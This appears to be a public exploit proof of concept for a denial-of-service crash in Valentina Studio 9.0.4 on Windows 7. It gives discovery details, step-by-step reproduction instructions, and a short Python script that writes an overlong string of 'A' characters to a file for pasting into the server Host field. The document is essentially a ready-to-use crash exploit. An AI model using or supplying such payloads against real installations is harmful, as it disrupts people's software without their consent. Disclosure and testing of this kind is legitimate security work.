#Exploit Title: Valentina Studio 9.0.4 - Denial of Service (PoC) #Discovery by: Victor MondragA3n #Discovery Date: 2018-02-19 #Vendor Homepage: https://valentina-db.com/en/ #Software Link: https://valentina-db.com/en/developer/database/download-valentina-database-adk #Tested Version: 9.0.4 #Tested on: Windows 7 x64 Service Pack 1 #Steps to produce the crash: #1.- Run python code: Valentina_Studio_9.0.4.py #2.- Open valentina.txt and copy content to clipboard #3.- Open Valentina Studio #4.- Select "File" > "Connect to" #5.- Select "Valentina Server" #6.- Select "Host" and Paste Clipboard #7.- Crashed cod = "\x41" * 256 f = open('valentina.txt', 'w') f.write(cod) f.close()